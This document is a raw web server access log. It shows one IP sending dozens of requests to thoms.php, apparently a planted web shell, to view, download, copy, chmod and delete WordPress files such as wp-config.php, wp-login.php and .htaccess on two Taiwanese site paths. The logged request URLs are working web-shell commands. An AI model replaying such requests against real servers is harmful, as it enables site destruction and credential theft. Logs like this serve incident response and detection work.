45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?dl=wp-mail.php&p=bioway88.com.tw HTTP/1.1" 200 17706 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?chmod=wp-signup.php&p=bioway88.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fxmlrpc.php&p=bioway88.com.tw HTTP/1.1" 200 11497 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?p=bioway88.com.tw&upload= HTTP/1.1" 200 12150 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?p=bioway88.com.tw&view=readme.html HTTP/1.1" 200 15234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-cron.php&p=bioway88.com.tw HTTP/1.1" 200 11496 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13092 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-load.php HTTP/1.1" 200 13654 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=bioway88.com.tw HTTP/1.1" 200 11498 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-mail.php HTTP/1.1" 200 15346 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fupgrade&p= HTTP/1.1" 200 12204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-admin&p= HTTP/1.1" 200 12188 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-activate.php&p=bioway88.com.tw HTTP/1.1" 200 11500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?del=wp-includes&p=bioway88.com.tw HTTP/1.1" 200 17706 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?dl=wp-signup.php&p=bioway88.com.tw HTTP/1.1" 200 17706 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?dl=wp-trackback.php&p=bioway88.com.tw HTTP/1.1" 200 17706 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?chmod=thoms.php&p=bioway88.com.tw HTTP/1.1" 200 11474 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-settings.php HTTP/1.1" 200 19463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?chmod=member-suspended&p=bioway88.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fwp-content HTTP/1.1" 200 13607 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?dl=wp-settings.php&p=bioway88.com.tw HTTP/1.1" 200 17705 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?chmod=wp-content&p=bioway88.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?del=readme.html&p=bioway88.com.tw HTTP/1.1" 200 17708 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?del=thoms.php&p=bioway88.com.tw HTTP/1.1" 200 17705 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?chmod=wp-login.php&p=bioway88.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 12160 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?chmod=wp-includes&p=bioway88.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?p=bioway88.com.tw&view=error_log HTTP/1.1" 200 14525 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?chmod=index.php&p=bioway88.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Flocoy.php&p=bioway88.com.tw HTTP/1.1" 200 11494 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?del=locoy.php&p=bioway88.com.tw HTTP/1.1" 200 17696 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13030 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fpartial-filter&p= HTTP/1.1" 200 12194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?chmod=license.txt&p=bioway88.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?del=wp-load.php&p=bioway88.com.tw HTTP/1.1" 200 17707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?chmod=.well-known&p=bioway88.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?del=wp-settings.php&p=bioway88.com.tw HTTP/1.1" 200 17706 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?dl=mah.php&p=bioway88.com.tw HTTP/1.1" 200 17652 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?chmod=wp-mail.php&p=bioway88.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-signup.php&p=bioway88.com.tw HTTP/1.1" 200 11498 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?p=bioway88.com.tw&view=license.txt HTTP/1.1" 200 20076 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?chmod=locoy.php&p=bioway88.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?del=license.txt&p=bioway88.com.tw HTTP/1.1" 200 17707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?chmod=wp-cron.php&p=bioway88.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?del=wp-cron.php&p=bioway88.com.tw HTTP/1.1" 200 17706 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?dl=index.php&p=bioway88.com.tw HTTP/1.1" 200 17705 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-login.php&p=bioway88.com.tw HTTP/1.1" 200 11494 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-login.php HTTP/1.1" 200 29028 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=bioway88.com.tw HTTP/1.1" 200 11489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?del=wp-activate.php&p=bioway88.com.tw HTTP/1.1" 200 17698 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-mail.php&p=bioway88.com.tw HTTP/1.1" 200 11496 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?del=wp-blog-header.php&p=bioway88.com.tw HTTP/1.1" 200 17696 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=bioway88.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?chmod=wp-admin&p=bioway88.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?del=.htaccess&p=bioway88.com.tw HTTP/1.1" 200 17696 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?del=index.php&p=bioway88.com.tw HTTP/1.1" 200 17704 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=bioway88.com.tw HTTP/1.1" 200 17707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?p=bioway88.com.tw&view=thoms.php HTTP/1.1" 200 11815 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?del=wp-links-opml.php&p=bioway88.com.tw HTTP/1.1" 200 17707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?del=wp-trackback.php&p=bioway88.com.tw HTTP/1.1" 200 17704 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?p=bestjudy.com.tw&upload= HTTP/1.1" 200 12150 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:05 -0400] "GET /thoms.php?del=wp-activate.php&p=bestjudy.com.tw HTTP/1.1" 200 17355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p= HTTP/1.1" 200 12196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?del=locoy.php&p=bestjudy.com.tw HTTP/1.1" 200 17356 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&p=bestjudy.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?dl=locoy.php&p=bestjudy.com.tw HTTP/1.1" 200 17354 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?del=wp-links-opml.php&p=bestjudy.com.tw HTTP/1.1" 200 17355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 13268 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?del=wp-login.php&p=bestjudy.com.tw HTTP/1.1" 200 17354 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?dl=license.txt&p=bestjudy.com.tw HTTP/1.1" 200 17354 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=readme.html HTTP/1.1" 200 15229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-load.php HTTP/1.1" 200 13650 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p= HTTP/1.1" 200 12195 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p= HTTP/1.1" 200 12198 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&p=bestjudy.com.tw HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?dl=mah.php&p=bestjudy.com.tw HTTP/1.1" 200 17353 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&p=bestjudy.com.tw HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-cron.php HTTP/1.1" 200 14172 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=bestjudy.com.tw HTTP/1.1" 200 11493 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=bestjudy.com.tw HTTP/1.1" 200 17355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?dl=wp-mail.php&p=bestjudy.com.tw HTTP/1.1" 200 17355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p= HTTP/1.1" 200 12192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?chmod=.htaccess&p=bestjudy.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&p=bestjudy.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?dl=wp-load.php&p=bestjudy.com.tw HTTP/1.1" 200 17355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?chmod=cgi-bin&p=bestjudy.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?chmod=upgrade&p=bestjudy.com.tw HTTP/1.1" 200 11474 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-login.php HTTP/1.1" 200 29024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=bestjudy.com.tw HTTP/1.1" 200 17356 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?del=wp-signup.php&p=bestjudy.com.tw HTTP/1.1" 200 17356 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?del=upgrade&p=bestjudy.com.tw HTTP/1.1" 200 17355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?chmod=wp-admin&p=bestjudy.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=mah.php HTTP/1.1" 200 11802 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13103 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
